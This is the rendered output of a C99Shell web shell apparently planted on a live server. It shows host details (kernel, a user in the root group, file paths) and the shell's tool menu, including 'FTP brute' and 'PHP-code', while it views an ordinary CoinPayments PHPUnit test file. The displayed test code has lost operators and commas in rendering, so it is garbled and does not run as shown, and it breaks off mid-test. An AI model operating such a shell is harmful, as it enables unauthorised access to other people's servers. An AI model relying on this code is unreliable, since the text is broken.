!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/coinpaymentsnet/coinpayments-php/tests/   drwxrwxr-x
Free 28.27 GB of 117.98 GB (23.96%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CoinpaymentsAPITest.php (47.02 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
require('../src/Coinpayments.php');
require(
'../src/keys.php');

use 
PHPUnit\Framework\TestCase;

class 
CoinpaymentsAPITest extends TestCase
{
    private 
$api;

    protected function 
setUp()
    {
        
$this->api = new CoinpaymentsAPI(API_PRIVATE_KEYAPI_PUBLIC_KEY'json');
    }

    
/**
     * A reusable check for the format of the API call response object.
     *
     * @param $test Instance of test method.
     * @param $response Response object from API call.
     */
    
public function checkResponseFormat($test$response)
    {
        
$test->assertArrayHasKey('error'$response);
        
$test->assertEquals('ok'$response['error']);
        
$test->assertArrayHasKey('result'$response);
        
$test->assertNotEmpty($response['result']);
    }

    
/**
     * @covers CoinPaymentsAPI::__construct
     * @expectedException ArgumentCountError
     */
    
public function testEmptySetupofApiInstance()
    {
        
$this->api = new CoinpaymentsAPI();
    }

    
/**
     * @covers CoinPaymentsAPI::__construct
     * @expectedException ArgumentCountError
     */
    
public function testOnlyOneKeySetupofApiInstance()
    {
        
$this->failed_api_one_key = new CoinpaymentsAPI('key');
    }

    
/**
     * @covers CoinPaymentsAPI::__construct
     */
    
public function testProperSetupOfApiInstance()
    {
        
$this->assertInstanceOf(CoinpaymentsAPI::class, $this->api);
        
$this->assertObjectHasAttribute('request_handler'$this->api);
        
$this->assertAttributeInstanceOf(CoinpaymentsCurlRequest::class, 'request_handler'$this->api);
    }

    
/**
     * @covers CoinPaymentsAPI::getBasicInfo
     */
    
public function testGetBasicInfo()
    {
        
$response $this->api->GetBasicInfo();
        
$this->checkResponseFormat($this$response);
        
$this->assertArrayHasKey('username'$response['result']);
        
$this->assertInternalType('string'$response['result']['username']);
        
$this->assertArrayHasKey('merchant_id'$response['result']);
        
$this->assertInternalType('string'$response['result']['merchant_id']);
        
$this->assertArrayHasKey('email'$response['result']);
        
$this->assertInternalType('string'$response['result']['email']);
        
$this->assertArrayHasKey('public_name'$response['result']);
        
$this->assertInternalType('string'$response['result']['public_name']);
    }

    
/**
     * @covers CoinPaymentsAPI::getRates
     *
     * Note this test randomly checks any one of the returned rate values.
     */
    
public function testGetRates()
    {
        
$response $this->api->GetRates();
        
$this->checkResponseFormat($this$response);
        
$random_index rand(0, (count($response['result']) - 1));
        
$random_rate array_values($response['result'])[$random_index];
        
$this->assertInternalType('array'$random_rate);
        
$this->assertNotEmpty($random_rate);
        
$this->assertArrayHasKey('is_fiat'$random_rate);
        
$this->assertInternalType('integer'$random_rate['is_fiat']);
        
$this->assertArrayHasKey('rate_btc'$random_rate);
        
$this->assertInternalType('string'$random_rate['rate_btc']);
        
$this->assertArrayHasKey('last_update'$random_rate);
        
$this->assertInternalType('string'$random_rate['last_update']);
        
$this->assertArrayHasKey('tx_fee'$random_rate);
        
$this->assertInternalType('string'$random_rate['tx_fee']);
        
$this->assertArrayHasKey('status'$random_rate);
        
$this->assertInternalType('string'$random_rate['status']);
        
$this->assertArrayHasKey('name'$random_rate);
        
$this->assertInternalType('string'$random_rate['name']);
        
$this->assertArrayHasKey('confirms'$random_rate);
        
$this->assertInternalType('string'$random_rate['confirms']);
        
$this->assertArrayHasKey('can_convert'$random_rate);
        
$this->assertInternalType('integer'$random_rate['can_convert']);
        
$this->assertArrayHasKey('capabilities'$random_rate);
        
$this->assertInternalType('array'$random_rate['capabilities']);
    }

    
/**
     * @covers CoinPaymentsAPI::GetRatesWithAccepted
     *
     * Note this test randomly checks any one of the returned rate values.
     */
    
public function testGetRatesWithAccepted()
    {
        
$response $this->api->GetRatesWithAccepted();
        
$this->checkResponseFormat($this$response);
        
$random_index rand(0, (count($response['result']) - 1));
        
$random_rate array_values($response['result'])[$random_index];
        
$this->assertInternalType('array'$random_rate);
        
$this->assertNotEmpty($random_rate);
        
$this->assertArrayHasKey('is_fiat'$random_rate);
        
$this->assertInternalType('integer'$random_rate['is_fiat']);
        
$this->assertArrayHasKey('rate_btc'$random_rate);
        
$this->assertInternalType('string'$random_rate['rate_btc']);
        
$this->assertArrayHasKey('last_update'$random_rate);
        
$this->assertInternalType('string'$random_rate['last_update']);
        
$this->assertArrayHasKey('tx_fee'$random_rate);
        
$this->assertInternalType('string'$random_rate['tx_fee']);
        
$this->assertArrayHasKey('status'$random_rate);
        
$this->assertInternalType('string'$random_rate['status']);
        
$this->assertArrayHasKey('name'$random_rate);
        
$this->assertInternalType('string'$random_rate['name']);
        
$this->assertArrayHasKey('confirms'$random_rate);
        
$this->assertInternalType('string'$random_rate['confirms']);
        
$this->assertArrayHasKey('can_convert'$random_rate);
        
$this->assertInternalType('integer'$random_rate['can_convert']);
        
$this->assertArrayHasKey('capabilities'$random_rate);
        
$this->assertInternalType('array'$random_rate['capabilities']);
        
$this->assertArrayHasKey('accepted'$random_rate);
        
$this->assertInternalType('integer'$random_rate['accepted']);
    }

    
/**
     * @covers CoinPaymentsAPI::GetShortRates
     *
     * Note this test randomly checks any one of the returned rate values.
     */
    
public function testGetShortRates()
    {
        
$response $this->api->GetShortRates();
        
$this->checkResponseFormat($this$response);
        
$random_index rand(0, (count($response['result']) - 1));
        
$random_rate array_values($response['result'])[$random_index];
        
$this->assertInternalType('array'$random_rate);
        
$this->assertNotEmpty($random_rate);
        
$this->assertArrayHasKey('is_fiat'$random_rate);
        
$this->assertInternalType('integer'$random_rate['is_fiat']);
        
$this->assertArrayHasKey('rate_btc'$random_rate);
        
$this->assertInternalType('string'$random_rate['rate_btc']);
        
$this->assertArrayHasKey('last_update'$random_rate);
        
$this->assertInternalType('string'$random_rate['last_update']);
        
$this->assertArrayHasKey('tx_fee'$random_rate);
        
$this->assertInternalType('string'$random_rate['tx_fee']);
        
$this->assertArrayHasKey('status'$random_rate);
        
$this->assertInternalType('string'$random_rate['status']);

    }

    
/**
     * @covers CoinPaymentsAPI::GetShortRatesWithAccepted
     *
     * Note this test randomly checks any one of the returned rate values.
     */
    
public function testGetShortRatesWithAccepted()
    {
        
$response $this->api->GetShortRatesWithAccepted();
        
$this->checkResponseFormat($this$response);
        
$random_index rand(0, (count($response['result']) - 1));
        
$random_rate array_values($response['result'])[$random_index];
        
$this->assertInternalType('array'$random_rate);
        
$this->assertNotEmpty($random_rate);
        
$this->assertArrayHasKey('is_fiat'$random_rate);
        
$this->assertInternalType('integer'$random_rate['is_fiat']);
        
$this->assertArrayHasKey('rate_btc'$random_rate);
        
$this->assertInternalType('string'$random_rate['rate_btc']);
        
$this->assertArrayHasKey('last_update'$random_rate);
        
$this->assertInternalType('string'$random_rate['last_update']);
        
$this->assertArrayHasKey('tx_fee'$random_rate);
        
$this->assertInternalType('string'$random_rate['tx_fee']);
        
$this->assertArrayHasKey('status'$random_rate);
        
$this->assertInternalType('string'$random_rate['status']);
        
$this->assertArrayHasKey('accepted'$random_rate);
        
$this->assertInternalType('integer'$random_rate['accepted']);
    }

    
/**
     * @covers CoinPaymentsAPI::GetCoinBalances
     *
     * Note this test randomly checks any one of the returned balance values.
     */
    
public function testGetCoinBalances()
    {
        
$response $this->api->GetCoinBalances();
        
$this->checkResponseFormat($this$response);
        
$random_index rand(0, (count($response['result']) - 1));
        
$random_balance array_values($response['result'])[$random_index];
        
$this->assertInternalType('array'$random_balance);
        
$this->assertNotEmpty($random_balance);
        
$this->assertArrayHasKey('balance'$random_balance);
        
$this->assertInternalType('integer'$random_balance['balance']);
        
$this->assertArrayHasKey('balancef'$random_balance);
        
$this->assertInternalType('string'$random_balance['balancef']);
        
$this->assertArrayHasKey('status'$random_balance);
        
$this->assertInternalType('string'$random_balance['status']);
        
$this->assertArrayHasKey('coin_status'$random_balance);
        
$this->assertInternalType('string'$random_balance['coin_status']);
    }

    
/**
     * @covers CoinPaymentsAPI::GetAllCoinBalances
     */
    
public function testGetAllCoinBalances()
    {
        
$response $this->api->GetAllCoinBalances();
        
$this->checkResponseFormat($this$response);
        
$random_index rand(0, (count($response['result']) - 1));
        
$random_balance array_values($response['result'])[$random_index];
        
$this->assertInternalType('array'$random_balance);
        
$this->assertNotEmpty($random_balance);
        
$this->assertArrayHasKey('balance'$random_balance);
        
$this->assertInternalType('integer'$random_balance['balance']);
        
$this->assertArrayHasKey('balancef'$random_balance);
        
$this->assertInternalType('string'$random_balance['balancef']);
        
$this->assertArrayHasKey('status'$random_balance);
        
$this->assertInternalType('string'$random_balance['status']);
        
$this->assertArrayHasKey('coin_status'$random_balance);
        
$this->assertInternalType('string'$random_balance['coin_status']);
    }

    
/**
     * @covers CoinPaymentsAPI::GetDepositAddress
     */
    
public function testGetDepositAddress()
    {
        
$response $this->api->GetDepositAddress('LTCT');
        
$this->checkResponseFormat($this$response);
        
$this->assertArrayHasKey('address'$response['result']);
        
$this->assertInternalType('string'$response['result']['address']);
    }

    
/**
     * @covers CoinPaymentsAPI::GetDepositAddress
     */
    
public function testGetDepositAddressWithPubKey()
    {
        
$response $this->api->GetDepositAddress('NXT');
        
$this->checkResponseFormat($this$response);
        
$this->assertArrayHasKey('address'$response['result']);
        
$this->assertInternalType('string'$response['result']['address']);
        
$this->assertArrayHasKey('pubkey'$response['result']);
        
$this->assertInternalType('string'$response['result']['pubkey']);
    }

    
/**
     * @covers CoinPaymentsAPI::GetDepositAddress
     */
    
public function testGetDepositAddressWithDestTag()
    {
        
$response $this->api->GetDepositAddress('XRP');
        
$this->checkResponseFormat($this$response);
        
$this->assertArrayHasKey('address'$response['result']);
        
$this->assertInternalType('string'$response['result']['address']);
        
$this->assertArrayHasKey('dest_tag'$response['result']);
        
$this->assertInternalType('string'$response['result']['dest_tag']);
    }

    
/**
     * @covers CoinPaymentsAPI::GetOnlyCallbackAddress
     */
    
public function testGetOnlyCallbackAddress()
    {
        
$response $this->api->GetOnlyCallbackAddress('LTCT');
        
$this->checkResponseFormat($this$response);
        
$this->assertArrayHasKey('address'$response['result']);
        
$this->assertInternalType('string'$response['result']['address']);
    }

    
/**
     * @covers CoinPaymentsAPI::GetOnlyCallbackAddress
     */
    
public function testGetOnlyCallbackAddressWithPubKey()
    {
        
$response $this->api->GetOnlyCallbackAddress('NXT');
        
$this->checkResponseFormat($this$response);
        
$this->assertArrayHasKey('address'$response['result']);
        
$this->assertInternalType('string'$response['result']['address']);
        
$this->assertArrayHasKey('pubkey'$response['result']);
        
$this->assertInternalType('string'$response['result']['pubkey']);
    }

    
/**
     * @covers CoinPaymentsAPI::GetOnlyCallbackAddress
     */
    
public function testGetOnlyCallbackAddressWithDestTag()
    {
        
$response $this->api->GetOnlyCallbackAddress('XRP');
        
$this->checkResponseFormat($this$response);
        
$this->assertArrayHasKey('address'$response['result']);
        
$this->assertInternalType('string'$response['result']['address']);
        
$this->assertArrayHasKey('dest_tag'$response['result']);
        
$this->assertInternalType('integer'$response['result']['dest_tag']);
    }

    
/**
     * @covers CoinPaymentsAPI::GetCallbackAddressWithIpn
     *
     * Note the IPN URL passed is only a test example.
     * In production your IPN URL must reside on your own web server and be configured to receive notifications!
     * @link https://www.coinpayments.net/merchant-tools-ipn
     */
    
public function testGetCallbackAddressWithIpn()
    {
        
$response $this->api->GetCallbackAddressWithIpn('LTCT''https://www.coinpayments.net/sample-ipn-address');
        
$this->checkResponseFormat($this$response);
        
$this->assertArrayHasKey('address'$response['result']);
        
$this->assertInternalType('string'$response['result']['address']);
    }

    
/**
     * @covers CoinPaymentsAPI::GetCallbackAddressWithIpn
     *
     * Note the IPN URL passed is only a test example.
     * In production your IPN URL must reside on your own web server and be configured to receive notifications!
     * @link https://www.coinpayments.net/merchant-tools-ipn
     */
    
public function testGetCallbackAddressWithIpnAndPubKey()
    {
        
$response $this->api->GetCallbackAddressWithIpn('NXT''https://www.coinpayments.net/sample-ipn-address');
        
$this->checkResponseFormat($this$response);
        
$this->assertArrayHasKey('address'$response['result']);
        
$this->assertInternalType('string'$response['result']['address']);
        
$this->assertArrayHasKey('pubkey'$response['result']);
        
$this->assertInternalType('string'$response['result']['pubkey']);
    }

    
/**
     * @covers CoinPaymentsAPI::GetCallbackAddressWithIpn
     *
     * Note the IPN URL passed is only a test example.
     * In production your IPN URL must reside on your own web server and be configured to receive notifications!
     * @link https://www.coinpayments.net/merchant-tools-ipn
     */
    
public function testGetCallbackAddressWithIpnAndDestTag()
    {
        
$response $this->api->GetCallbackAddressWithIpn('XRP''https://www.coinpayments.net/sample-ipn-address');
        
$this->checkResponseFormat($this$response);
        
$this->assertArrayHasKey('address'$response['result']);
        
$this->assertInternalType('string'$response['result']['address']);
        
$this->assertArrayHasKey('dest_tag'$response['result']);
        
$this->assertInternalType('integer'$response['result']['dest_tag']);
    }

    
/**
     * @covers CoinPaymentsAPI::GetConversionLimits
     */
    
public function testGetConversionLimits()
    {
        
$response $this->api->GetConversionLimits('BTC''LTC');
        
$this->checkResponseFormat($this$response);
        
$this->assertArrayHasKey('min'$response['result']);
        
$this->assertInternalType('string'$response['result']['min']);
        
$this->assertArrayHasKey('max'$response['result']);
        
$this->assertInternalType('string'$response['result']['max']);
    }

    
/**
     * @covers CoinpaymentsAPI::GetTxInfoSingle
     */
    
public function testGetTxInfoSingle()
    {
        
$response $this->api->GetTxInfoSingle(API_TESTS_TXID_SINGLE);
        
$this->checkResponseFormat($this$response);
        
$this->assertArrayHasKey('time_created'$response['result']);
        
$this->assertInternalType('integer'$response['result']['time_created']);
        
$this->assertArrayHasKey('time_expires'$response['result']);
        
$this->assertInternalType('integer'$response['result']['time_expires']);
        
$this->assertArrayHasKey('status'$response['result']);
        
$this->assertInternalType('integer'$response['result']['status']);
        
$this->assertArrayHasKey('status_text'$response['result']);
        
$this->assertInternalType('string'$response['result']['status_text']);
        
$this->assertArrayHasKey('type'$response['result']);
        
$this->assertInternalType('string'$response['result']['type']);
        
$this->assertArrayHasKey('coin'$response['result']);
        
$this->assertInternalType('string'$response['result']['coin']);
        
$this->assertArrayHasKey('amount'$response['result']);
        
$this->assertInternalType('integer'$response['result']['amount']);
        
$this->assertArrayHasKey('amountf'$response['result']);
        
$this->assertInternalType('string'$response['result']['amountf']);
        
$this->assertArrayHasKey('received'$response['result']);
        
$this->assertInternalType('integer'$response['result']['received']);
        
$this->assertArrayHasKey('receivedf'$response['result']);
        
$this->assertInternalType('string'$response['result']['receivedf']);
        
$this->assertArrayHasKey('recv_confirms'$response['result']);
        
$this->assertInternalType('integer'$response['result']['recv_confirms']);
        
$this->assertArrayHasKey('payment_address'$response['result']);
        
$this->assertInternalType('string'$response['result']['payment_address']);
        
$this->assertArrayHasKey('time_completed'$response['result']);
        
$this->assertInternalType('integer'$response['result']['time_completed']);
    }

    
/**
     * @covers CoinpaymentsAPI::GetTxInfoSingleWithRaw
     */
    
public function testGetTxInfoSingleWithRaw()
    {
        
$response $this->api->GetTxInfoSingleWithRaw(API_TESTS_TXID_SINGLE);
        
$this->checkResponseFormat($this$response);
        
$this->assertArrayHasKey('time_created'$response['result']);
        
$this->assertInternalType('integer'$response['result']['time_created']);
        
$this->assertArrayHasKey('time_expires'$response['result']);
        
$this->assertInternalType('integer'$response['result']['time_expires']);
        
$this->assertArrayHasKey('status'$response['result']);
        
$this->assertInternalType('integer'$response['result']['status']);
        
$this->assertArrayHasKey('status_text'$response['result']);
        
$this->assertInternalType('string'$response['result']['status_text']);
        
$this->assertArrayHasKey('type'$response['result']);
        
$this->assertInternalType('string'$response['result']['type']);
        
$this->assertArrayHasKey('coin'$response['result']);
        
$this->assertInternalType('string'$response['result']['coin']);
        
$this->assertArrayHasKey('amount'$response['result']);
        
$this->assertInternalType('integer'$response['result']['amount']);
        
$this->assertArrayHasKey('amountf'$response['result']);
        
$this->assertInternalType('string'$response['result']['amountf']);
        
$this->assertArrayHasKey('received'$response['result']);
        
$this->assertInternalType('integer'$response['result']['received']);
        
$this->assertArrayHasKey('receivedf'$response['result']);
        
$this->assertInternalType('string'$response['result']['receivedf']);
        
$this->assertArrayHasKey('recv_confirms'$response['result']);
        
$this->assertInternalType('integer'$response['result']['recv_confirms']);
        
$this->assertArrayHasKey('payment_address'$response['result']);
        
$this->assertInternalType('string'$response['result']['payment_address']);
        
$this->assertArrayHasKey('time_completed'$response['result']);
        
$this->assertInternalType('integer'$response['result']['time_completed']);
        
$this->assertArrayHasKey('checkout'$response['result']);
        
$this->assertInternalType('array'$response['result']['checkout']);
        
$this->assertArrayHasKey('subtotal'$response['result']['checkout']);
        
$this->assertInternalType('integer'$response['result']['checkout']['subtotal']);
        
$this->assertArrayHasKey('tax'$response['result']['checkout']);
        
$this->assertInternalType('integer'$response['result']['checkout']['tax']);
        
$this->assertArrayHasKey('shipping'$response['result']['checkout']);
        
$this->assertInternalType('integer'$response['result']['checkout']['shipping']);
        
$this->assertArrayHasKey('total'$response['result']['checkout']);
        
$this->assertInternalType('integer'$response['result']['checkout']['total']);
        
$this->assertArrayHasKey('currency'$response['result']['checkout']);
        
$this->assertInternalType('string'$response['result']['checkout']['currency']);
        
$this->assertArrayHasKey('amount'$response['result']['checkout']);
        
$this->assertInternalType('integer'$response['result']['checkout']['amount']);
        
$this->assertArrayHasKey('item_name'$response['result']['checkout']);
        
$this->assertInternalType('string'$response['result']['checkout']['item_name']);
        
$this->assertArrayHasKey('item_number'$response['result']['checkout']);
        
$this->assertInternalType('string'$response['result']['checkout']['item_number']);
        
$this->assertArrayHasKey('invoice'$response['result']['checkout']);
        
$this->assertInternalType('string'$response['result']['checkout']['invoice']);
        
$this->assertArrayHasKey('custom'$response['result']['checkout']);
        
$this->assertInternalType('string'$response['result']['checkout']['custom']);
        
$this->assertArrayHasKey('ipn_url'$response['result']['checkout']);
        
$this->assertInternalType('string'$response['result']['checkout']['ipn_url']);
        
$this->assertArrayHasKey('amountf'$response['result']['checkout']);
        
$this->assertInternalType('float'$response['result']['checkout']['amountf']);
        
$this->assertArrayHasKey('shipping'$response['result']);
        
$this->assertInternalType('array'$response['result']['shipping']);
        
$this->assertArrayHasKey('first_name'$response['result']['shipping']);
        
$this->assertInternalType('string'$response['result']['shipping']['first_name']);
        
$this->assertArrayHasKey('last_name'$response['result']['shipping']);
        
$this->assertInternalType('string'$response['result']['shipping']['last_name']);
        
$this->assertArrayHasKey('company'$response['result']['shipping']);
        
$this->assertInternalType('string'$response['result']['shipping']['company']);
        
$this->assertArrayHasKey('address1'$response['result']['shipping']);
        
$this->assertInternalType('string'$response['result']['shipping']['address1']);
        
$this->assertArrayHasKey('address2'$response['result']['shipping']);
        
$this->assertInternalType('string'$response['result']['shipping']['address2']);
        
$this->assertArrayHasKey('city'$response['result']['shipping']);
        
$this->assertInternalType('string'$response['result']['shipping']['city']);
        
$this->assertArrayHasKey('state'$response['result']['shipping']);
        
$this->assertInternalType('string'$response['result']['shipping']['state']);
        
$this->assertArrayHasKey('zip'$response['result']['shipping']);
        
$this->assertInternalType('string'$response['result']['shipping']['zip']);
        
$this->assertArrayHasKey('country'$response['result']['shipping']);
        
$this->assertInternalType('string'$response['result']['shipping']['country']);
        
$this->assertArrayHasKey('phone'$response['result']['shipping']);
        
$this->assertInternalType('string'$response['result']['shipping']['phone']);
    }

    
/**
     * @covers CoinpaymentsAPI::GetTxInfoMulti
     */
    
public function testGetTxInfoMulti()
    {
        
$response $this->api->GetTxInfoMulti(API_TESTS_TXID_MULTI);
        
$this->checkResponseFormat($this$response);
        
$random_index rand(0, (count($response['result']) - 1));
        
$random_tx array_values($response['result'])[$random_index];
        
$this->assertInternalType('array'$random_tx);
        
$this->assertNotEmpty($random_tx);
        
$this->assertArrayHasKey('error'$random_tx);
        
$this->assertInternalType('string'$random_tx['error']);
        
$this->assertArrayHasKey('time_created'$random_tx);
        
$this->assertInternalType('integer'$random_tx['time_created']);
        
$this->assertArrayHasKey('time_expires'$random_tx);
        
$this->assertInternalType('integer'$random_tx['time_expires']);
        
$this->assertArrayHasKey('status'$random_tx);
        
$this->assertInternalType('integer'$random_tx['status']);
        
$this->assertArrayHasKey('status_text'$random_tx);
        
$this->assertInternalType('string'$random_tx['status_text']);
        
$this->assertArrayHasKey('type'$random_tx);
        
$this->assertInternalType('string'$random_tx['type']);
        
$this->assertArrayHasKey('coin'$random_tx);
        
$this->assertInternalType('string'$random_tx['coin']);
        
$this->assertArrayHasKey('amount'$random_tx);
        
$this->assertInternalType('integer'$random_tx['amount']);
        
$this->assertArrayHasKey('amountf'$random_tx);
        
$this->assertInternalType('string'$random_tx['amountf']);
        
$this->assertArrayHasKey('received'$random_tx);
        
$this->assertInternalType('integer'$random_tx['received']);
        
$this->assertArrayHasKey('receivedf'$random_tx);
        
$this->assertInternalType('string'$random_tx['receivedf']);
        
$this->assertArrayHasKey('recv_confirms'$random_tx);
        
$this->assertInternalType('integer'$random_tx['recv_confirms']);
        
$this->assertArrayHasKey('payment_address'$random_tx);
        
$this->assertInternalType('string'$random_tx['payment_address']);
        
$this->assertArrayHasKey('time_completed'$random_tx);
        
$this->assertInternalType('integer'$random_tx['time_completed']);
    }

    
/**
     * @covers CoinPaymentsAPI::GetSellerTransactionList
     */
    
public function testGetSellerTransactionList()
    {
        
$response $this->api->GetSellerTransactionList();
        
$this->checkResponseFormat($this$response);
        if (
count($response['result']) > 0) {
            
$this->assertInternalType('string'$response['result'][0]);
        }
    }

    
/**
     * @covers CoinPaymentsAPI::GetFullTransactionList
     */
    
public function testGetFullTransactionList()
    {
        
$response $this->api->GetFullTransactionList();
        
$this->checkResponseFormat($this$response);
        if (
count($response['result']) > 0) {
            
$this->assertArrayHasKey('txid'$response['result'][0]);
            
$this->assertInternalType('string'$response['result'][0]['txid']);
            
$this->assertArrayHasKey('user_is'$response['result'][0]);
            
$this->assertInternalType('string'$response['result'][0]['user_is']);
        }
    }

    
/**
     * @covers CoinPaymentsAPI::CreateSimpleTransaction
     */
    
public function testCreateSimpleTransaction()
    {
        
$response $this->api->CreateSimpleTransaction('0.001''LTCT'API_TESTS_BUYER_EMAIL);
        
$this->checkResponseFormat($this$response);
        
$this->assertArrayHasKey('amount'$response['result']);
        
$this->assertInternalType('string'$response['result']['amount']);
        
$this->assertArrayHasKey('txn_id'$response['result']);
        
$this->assertInternalType('string'$response['result']['txn_id']);
        
$this->assertArrayHasKey('address'$response['result']);
        
$this->assertInternalType('string'$response['result']['address']);
        
$this->assertArrayHasKey('confirms_needed'$response['result']);
        
$this->assertInternalType('string'$response['result']['confirms_needed']);
        
$this->assertArrayHasKey('timeout'$response['result']);
        
$this->assertInternalType('integer'$response['result']['timeout']);
        
$this->assertArrayHasKey('status_url'$response['result']);
        
$this->assertInternalType('string'$response['result']['status_url']);
        
$this->assertArrayHasKey('qrcode_url'$response['result']);
        
$this->assertInternalType('string'$response['result']['qrcode_url']);
    }

    
/**
     * @covers CoinPaymentsAPI::CreateSimpleTransactionWithConversion
     */
    
public function testCreateSimpleTransactionWithConversion()
    {
        
$response $this->api->CreateSimpleTransactionWithConversion('0.01''BTC''LTCT'API_TESTS_BUYER_EMAIL);
        
$this->checkResponseFormat($this$response);
        
$this->assertArrayHasKey('amount'$response['result']);
        
$this->assertInternalType('string'$response['result']['amount']);
        
$this->assertArrayHasKey('txn_id'$response['result']);
        
$this->assertInternalType('string'$response['result']['txn_id']);
        
$this->assertArrayHasKey('address'$response['result']);
        
$this->assertInternalType('string'$response['result']['address']);
        
$this->assertArrayHasKey('confirms_needed'$response['result']);
        
$this->assertInternalType('string'$response['result']['confirms_needed']);
        
$this->assertArrayHasKey('timeout'$response['result']);
        
$this->assertInternalType('integer'$response['result']['timeout']);
        
$this->assertArrayHasKey('status_url'$response['result']);
        
$this->assertInternalType('string'$response['result']['status_url']);
        
$this->assertArrayHasKey('qrcode_url'$response['result']);
        
$this->assertInternalType('string'$response['result']['qrcode_url']);
    }

    
/**
     * @covers CoinPaymentsAPI::CreateComplexTransaction
     *
     * Note the IPN URL passed is only a test example.
     * In production your IPN URL must reside on your own web server and be configured to receive notifications!
     * @link https://www.coinpayments.net/merchant-tools-ipn
     */
    
public function testCreateComplexTransaction()
    {
        
$response $this->api->CreateComplexTransaction('0.01''BTC''LTCT'API_TESTS_BUYER_EMAILAPI_TESTS_LTCT_TO'SampleBuyerName''SampleItemName''SampleItemNumber''SampleInvoice''SampleCustom''https://www.coinpayments.net/sample-ipn-address');
        
$this->checkResponseFormat($this$response);
        
$this->assertArrayHasKey('amount'$response['result']);
        
$this->assertInternalType('string'$response['result']['amount']);
        
$this->assertArrayHasKey('txn_id'$response['result']);
        
$this->assertInternalType('string'$response['result']['txn_id']);
        
$this->assertArrayHasKey('address'$response['result']);
        
$this->assertInternalType('string'$response['result']['address']);
        
$this->assertArrayHasKey('confirms_needed'$response['result']);
        
$this->assertInternalType('string'$response['result']['confirms_needed']);
        
$this->assertArrayHasKey('timeout'$response['result']);
        
$this->assertInternalType('integer'$response['result']['timeout']);
        
$this->assertArrayHasKey('status_url'$response['result']);
        
$this->assertInternalType('string'$response['result']['status_url']);
        
$this->assertArrayHasKey('qrcode_url'$response['result']);
        
$this->assertInternalType('string'$response['result']['qrcode_url']);
    }

    
/**
     * @covers CoinPaymentsAPI::CreateCustomTransaction
     */
    
public function testCreateCustomTransaction()
    {
        
$fields = [
            
'amount' => '0.01',
            
'currency1' => 'BTC',
            
'currency2' => 'LTCT',
            
'buyer_email' => API_TESTS_BUYER_EMAIL,
            
'address' => API_TESTS_LTCT_TO,
            
'custom' => 'SampleCustom'
        
];
        
$response $this->api->CreateCustomTransaction($fields);
        
$this->checkResponseFormat($this$response);
        
$this->assertArrayHasKey('amount'$response['result']);
        
$this->assertInternalType('string'$response['result']['amount']);
        
$this->assertArrayHasKey('txn_id'$response['result']);
        
$this->assertInternalType('string'$response['result']['txn_id']);
        
$this->assertArrayHasKey('address'$response['result']);
        
$this->assertInternalType('string'$response['result']['address']);
        
$this->assertArrayHasKey('confirms_needed'$response['result']);
        
$this->assertInternalType('string'$response['result']['confirms_needed']);
        
$this->assertArrayHasKey('timeout'$response['result']);
        
$this->assertInternalType('integer'$response['result']['timeout']);
        
$this->assertArrayHasKey('status_url'$response['result']);
        
$this->assertInternalType('string'$response['result']['status_url']);
        
$this->assertArrayHasKey('qrcode_url'$response['result']);
        
$this->assertInternalType('string'$response['result']['qrcode_url']);
    }

    
/**
     * @covers CoinPaymentsAPI::CreateMerchantTransfer
     */
    
public function testCreateMerchantTransfer()
    {
        
$response $this->api->CreateMerchantTransfer('0.01''LTCT'API_TESTS_ALT_MID);
        
$this->checkResponseFormat($this$response);
        
$this->assertArrayHasKey('id'$response['result']);
        
$this->assertInternalType('string'$response['result']['id']);
        
$this->assertArrayHasKey('status'$response['result']);
        
$this->assertInternalType('integer'$response['result']['status']);
        
$this->assertArrayHasKey('amount'$response['result']);
        
$this->assertInternalType('string'$response['result']['amount']);
    }

    
/**
     * @covers CoinpaymentsAPI::CreatePayByNameTransfer
     */
    
public function testCreatePayByNameTransfer()
    {
        
$response $this->api->CreatePayByNameTransfer('0.01''LTCT'API_TESTS_PBN);
        
$this->checkResponseFormat($this$response);
        
$this->assertArrayHasKey('id'$response['result']);
        
$this->assertInternalType('string'$response['result']['id']);
        
$this->assertArrayHasKey('status'$response['result']);
        
$this->assertInternalType('integer'$response['result']['status']);
        
$this->assertArrayHasKey('amount'$response['result']);
        
$this->assertInternalType('string'$response['result']['amount']);
    }

    
/**
     * @covers CoinPaymentsAPI::GetWithdrawalHistory
     *
     * Note: Does not check for send_dest_tag since withdrawal ID passed
     * is not known ahead of time to be for a destination tag currency.
     */
    
public function testGetWithdrawalHistory()
    {
        
$response $this->api->GetWithdrawalHistory();
        
$this->checkResponseFormat($this$response);
        if (
count($response['result']) > 0) {
            
$this->assertArrayHasKey('id'$response['result'][0]);
            
$this->assertInternalType('string'$response['result'][0]['id']);
            
$this->assertArrayHasKey('time_created'$response['result'][0]);
            
$this->assertInternalType('integer'$response['result'][0]['time_created']);
            
$this->assertArrayHasKey('status'$response['result'][0]);
            
$this->assertInternalType('integer'$response['result'][0]['status']);
            
$this->assertArrayHasKey('status_text'$response['result'][0]);
            
$this->assertInternalType('string'$response['result'][0]['status_text']);
            
$this->assertArrayHasKey('coin'$response['result'][0]);
            
$this->assertInternalType('string'$response['result'][0]['coin']);
            
$this->assertArrayHasKey('amount'$response['result'][0]);
            
$this->assertInternalType('integer'$response['result'][0]['amount']);
            
$this->assertArrayHasKey('amountf'$response['result'][0]);
            
$this->assertInternalType('string'$response['result'][0]['amountf']);
            
$this->assertArrayHasKey('send_address'$response['result'][0]);
            
$this->assertInternalType('string'$response['result'][0]['send_address']);
            
$this->assertArrayHasKey('send_txid'$response['result'][0]);
            
$this->assertInternalType('string'$response['result'][0]['send_txid']);
        }
    }

    
/**
     * @covers CoinPaymentsAPI::GetWithdrawalInformation
     */
    
public function testGetWithdrawalInformation()
    {
        
$response $this->api->GetWithdrawalInformation(API_TESTS_WID);
        
$this->checkResponseFormat($this$response);
        
$this->assertArrayHasKey('time_created'$response['result']);
        
$this->assertInternalType('integer'$response['result']['time_created']);
        
$this->assertArrayHasKey('status'$response['result']);
        
$this->assertInternalType('integer'$response['result']['status']);
        
